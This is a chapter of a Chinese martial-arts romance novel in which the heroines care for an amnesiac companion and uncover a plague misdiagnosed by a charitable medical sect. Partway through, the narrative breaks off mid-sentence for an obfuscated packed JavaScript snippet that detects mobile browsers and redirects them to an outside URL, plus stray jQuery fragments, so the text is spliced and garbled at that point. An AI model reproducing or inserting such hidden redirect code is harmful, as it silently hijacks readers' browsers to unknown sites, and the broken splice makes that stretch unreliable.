沐玉看见他的那一刻,全身血液仿佛都凝滞了,她不清楚他听到了多少。
“你......”
凌越之脸上惨白,额间冒汗,单薄的里衣随晨风摆动,显得异常孤寂。
他红着眼,眼里比之从前多了些不一样的东西,说出来的话带着七分悲凉,三分愤怒。
“你在骗我,我们不是夫妻,你到底是谁?”
“我又是谁?”问及自己是谁,凌越之剑眉紧拧,突然捂头痛吟,“我到底是谁?”
一遍又一遍的厉声质问,不知是在问自己,还是在问他人。
“啊——”脑中剧烈的刺痛疼得他满头大汗,嘶声大喊,几近疯癫,“是谁,到底是谁?”
“凌越之!”沐玉见他再次发病,紧张不已,赶紧上前查看情况,可还不等她靠近,就见他突然大吼一声,仰头倒了下去。
她眼疾手快,一把将人搂住,“凌越之,凌越之!”
笙禾和沐桃闻声而出,“这是怎么了?”
“他不知怎的,又发病了,阿禾你快给他看看!”沐玉赶紧将人抱进房中。
笙禾紧跟其后,抓紧为人诊脉。
一盏茶功夫过去。
沐玉焦急问道:“他怎么样了?”
笙禾收回手正要说话,忽然看见凌越之的脖颈上布满红痕,不由得愣了愣,她别开眼,“...他...肾气亏损、阴阳失调严重,导致气窜乱于卫分,血逆行于经络,这才再次诱发了惊狂、精神散乱等病证。”
她有些不自在地看了眼沐玉,“他的脑疾还未痊愈,你们行...行事还是得克制些才好。”
一听肾气亏损严重,沐玉尴尬地低下头,“咳咳...我,我下回注意。”
昨夜确实是她闹得太过了,她采阳不久,还不能很好掌握分寸,一不小心就把人给...看来,还是得找师姐好好取取经......
沐桃挑着眉看着她,那眼神好似在说:你还是太嫩了。
笙禾为凌越之施完针,正要出门买药,忽然想到什么,又停了下来,她看向沐玉和沐桃,犹豫再三还是问出了口。
“小玉,阿桃,我们可是朋友?”
沐玉和沐桃对视一眼,不知她为何如此问。
沐玉道:“我们虽然相识不久,那也是有过命的交情,怎么谈不上朋友二字呢?”
笙禾听人这么一说,脸色缓和下来,“既然如此,你们可否同我说句实话?”
“你们到底是什么人?”
她们带她离开慈悲城,说要带她去一个叫清妙峰的世外桃源,那里山清水秀,远离尘世,不受他人约束,可以做自己想做的任何事,她答应了,可这一路上,她们却不曾真正透露自己的身份来历。
她们说自己是走镖的,被仇人追杀才逃亡到此,可她看得出来,他们并不那么简单,不仅武功不凡,还身怀换脸绝技,绝不是寻常人,她对她们的来历心存疑虑,几度想问,却总是犹豫着说不出口,今日总算是问了出来。
沐玉看向沐桃,见人点了点头,这才将自己的身份娓娓道来,不过还是对采阳功一事只字未提,毕竟是宫门秘法,不能对外人随意提及,除非...她能拜入长夜宫门下,成为宫门弟子。
笙禾得知两人采花贼的身份,惊讶不已,久久不能回神,她虽然不知晓江湖之事,可一听到长夜宫有上千名女弟子,个个武功超群,顿时惊愕得瞪大了眼,她想不到,这世间的女子竟能如此潇洒,心中羡慕不已。
“小玉,你看我筋骨如何?能否拜入长夜宫学艺?”
沐玉原以为当笙禾得知她们的来历,不会再愿意同她们离开,不曾想,她竟然主动要拜入长夜宫,一时之间不知如何作答了。
反倒是沐桃见人主动拜入宫门,喜不胜收,正要应下,谁知沐玉却横插一脚,将人截住。
“阿禾,这拜师学艺一事,可得认真考虑,我跟你说......”说着,她搂着笙禾的肩,将人带出了房。
沐桃看着两人离开的背影,漆黑的眼似荡开的墨,“小玉儿,这世上的事大多事与愿违,不是你不愿意,它就不会发生的......”
——
镇上人来人往,沐玉同笙禾出了客栈,寻了家小摊要了两碗汤饼。
等候的功夫,沐玉眼尖,瞧见对面有卖饴糖的,赶紧走了过去。
见有客上门,摊主赶紧介绍自家的东西,“公子买些糖吗?我这有莲子糖、芝麻糖、葱糖、软桃糖,滋味都不错!”
沐玉站在摊前细细打量着各式各样的糖果,一时不知选哪个才好,她不常吃糖,也不知哪个好吃,看摸样都不错,干脆道:“每样都给我来一些!”
“好嘞!”见她如此爽快,摊主乐得开怀,赶紧拿起油纸装起了糖。
等人打包的功夫,沐玉又被一旁卖香囊的摊给吸引了目光,她捡起一只绣着飞鹰的墨色香囊细细打量一番,直接丢下一角银子。
“店家,这香囊我要了!”
数完钱,糖果也已经装好了,她拿上东西正要回去,一转身不小心撞上一个人。
“哎呦!”那人闷哼一声,沐玉连忙后撤,朝人道歉,“对不住!”
“无妨。”答话的是名男子,他身后还站在几名与他身穿一样服饰的男子,一袭青白相间的长袍,很是素净,像是什么门派的弟子服。
几人不等沐玉打量完,便先一步离开了,飘逸的衣摆扫过她的手背,细细一闻,似乎能闻到一阵若有似无的药香。
沐玉盯着几人的背影,觉得方才那阵药香有些熟悉,可一时想不起来,就在这时,笙禾的声音从远处传来,将她的思绪从迷雾中拉了出来。
“小玉!”笙禾坐在摊前朝她挥手,“汤饼好了!”
沐玉甩了甩头,将方才那阵药香甩至脑后,“我这就过来!”
两人吃完汤饼,又给沐桃打包一份烧饼,随即前往药铺抓药。
还未到药铺门前就见前头挤了一堆的人,沐玉踮着脚尖看了半天,也不知前头发生了什么,索性不看,直接绕道走进隔壁的药铺。
进了药铺就听见铺里的人在议论,“这圣医门简直就是菩萨现世,世上若能多几个这样的门派就好了,我们也能跟着沾沾光,享享福。”
沐玉听了一嘴,没当回事,直接拿出一张方子递给店掌柜,“掌柜的,你照着上面给我抓药就成。”
店掌柜接过方子一看,有些诧异,挑了挑眉看向沐玉的后腰,“看你年纪也不大,这药量...是不是有点太大了些,你吃得消吗?”
笙禾听懂了其中深意,忍不住捂嘴偷笑。
沐玉有苦说不出,干脆背下这口黑锅,故意捂着后腰道:“唉,刚成亲,娇妻在怀,谁能把持得住,这方子大夫看过了,掌柜的你照着抓药便是了。”
店掌柜忍俊不禁,打趣道:“年轻人年轻气盛是好,可是也得懂得节制才行,不然到了以后,有心无力,有井没水,那可就遭咯!”
沐玉陪着尬笑了两声,没再答话,反被铺子外的热闹吸引住了目光。
一会功夫不见,围在外面的百姓散去了不少,原来对面是家医馆,而坐在门前为人看诊的人,竟然是方才同她相撞的那几名白衣男子。
这几名男子年纪轻轻,竟有这么多百姓前来看病,实在令人好奇。
沐玉朝店掌柜问道:“掌柜的,对面这么热闹,是在做什么呢?”
店掌柜将抓好的药倒在纸上,瞧了眼外头,笑了笑,“你还没听说过吧,这附近有座长云山,山上有个圣医门,里面的弟子不仅医术了得,个个都是菩萨心肠,那几位就是圣医门的弟子,每隔两个月就会下山历练,到附近的城镇为百姓们治病,发放各种健身的益丸,不收一分钱。”
沐玉有些不太信,“竟有这么好的事?”
店掌柜笑道:“还能骗你不成,每逢他们一来,大伙可开心了,争先恐后前去排队,你若不信,大可前去看看,反正就前后脚的功夫。”
笙禾听完店掌柜的这番话,不禁对那圣医门生出几分好感,她拉了拉沐玉的手,提议道:“现在闲来无事,不如前去瞧瞧?”
沐玉见人想去,也没反对,跟着一块出去了。
两人耐心排在后头,看着前面的人一个个变少,沐玉等得无聊,解开方才在小摊上买的糖果,将它全部装进一块买的香囊里,香囊被装得鼓鼓囊囊。
笙禾饶有兴致地看着,打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545582|156809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趣道:“你这都不叫香囊了,该叫糖囊!”
沐玉被她逗得一笑,捡起一颗软桃糖塞进她的嘴里,“味道如何?”
桃子的清香冲淡了糖的甜腻味,甜而不腻,笙禾忍不住弯了弯唇,“好吃!”
听人说好吃,沐玉也拿出一颗想要尝尝,不料前头正好有一老媪突然钻出来,撞到她的身上,糖“咕噜咕噜”滚到了地上。
老媪踉跄着脚步,险些摔倒,笙禾连忙将人扶住,“婆婆,您怎么样?”
老媪站稳了身子,讪笑着朝人道歉,说话咳嗽不断,“咳咳咳...两位公子实在是对不住,我...我咳咳咳这老婆子冒冒失失的,没撞疼你们吧?”
沐玉见老媪面容憔悴,双颊绯红,当即皱起了眉,正要说什么,笙禾突然松开老媪的手腕,从怀里取出两张面罩,分给她一张。
“带上。”
方才她只是猜测,如今笙禾这一举动,更加证实了她的想法。
这老媪确实是染上了疫疠!
两人瞧了眼周围,不动神色地将老媪带出人群,到了无人处,沐玉才询问老媪。
“婆婆,您方才看诊时那大夫可有说什么?”
老媪不知她所为何意,皱着眉打量两人,显然把她们当成了坏人,“你们是什么人?为何突然要蒙面?”
沐玉同笙禾对视了一眼,发现她们现在的样子确实有些怪异,赶紧解释道:“婆婆您别害怕,我们不是什么宵小之徒,我们蒙面是...是因为我们染上了风寒,怕传染给您。”
笙禾故意咳嗽了两声,“咳咳咳...是啊,我这病都拖了好几日了,一直不见好,这才想来找圣医门的弟子瞧瞧,早就听说他们医术了得,可我们从未真正见识过,这才想向您打听打听,这传闻是虚还是实?”
老媪一听,原来是这么一回事,当即放下了戒心,“你们大可放心,这圣医门不会骗人的,我在他们那看病不下十次,每次都不出三剂药就好了!”
“这么厉害?”沐玉挑眉。
既然这么厉害,为何看不出她得了疫疠?
笙禾追问道:“我见您咳嗽不止,难道也是同我们一样染上了风寒?”
“咳咳咳...嗐!人老了不中用了,受不了一点风,前些日子忘了关窗,起来就这样了,多亏了圣医门,要不然,还不知道得花多少钱治病呢!”老媪唏嘘摇头,提着手里的药走了。
沐玉和笙禾对视一眼,皱起了眉。
笙禾愤然出声,“这老媪明明染上了疫疠,那圣医门没诊出来就算了,竟然还误将此当作了风寒,这不是害人吗?”
沐玉嘲讽一笑:“啧,又是一个医术不精的半吊子,只会装模做样,故弄玄虚。”
在她眼里这圣医门同那济世堂没什么两样,只不过这圣医门还有点良心,至少不见他大肆敛财。
笙禾看着面前这座风景宜人的小镇,心有不忍,“这疫疠一旦传开,后果不堪设想,我们要管吗?”
沐玉从香囊里捡出一颗糖放进嘴里含着,烦闷的心情顿时得到纾解,琉璃眼轻轻眯起,“要管,不过不是我们去管。”
笙禾一开始不解沐玉的意思,直至她再次回到药铺,将那张治疗疫疠的方子交给店掌柜时,才恍然大悟。
原来她是想像之前在淳安城一样,将方子给出去,接下来的事交给百姓自己去做,这样一来,她们便不会卷入其中,平白惹一身骚了。
圣医门在百姓们心中的影响非同小可,若是直接与他们对峙,百姓定然是不会相信,唯一的办法就是让他们自己发现。
“公子你这是?”店掌柜拿着方子,不懂两人是何用意。
沐玉还是照上回一样,从怀里掏出两锭银子放在桌上,“掌柜的,这药方和钱你留下,日后若是发现城中有不寻常之处,便将这张方子拿出来瞧瞧,也许能用得着。”
“什...什么意思?”店掌柜一头雾水地看着桌上的银子。
沐玉见他直愣愣地盯着那两锭银子,不禁勾起了唇角,“你若想要这两锭银子,便照我的话做!”
有钱能使鬼推磨,这话确实不假,待两人走后,店掌柜还是没能忍住,收下了桌上的两锭银子......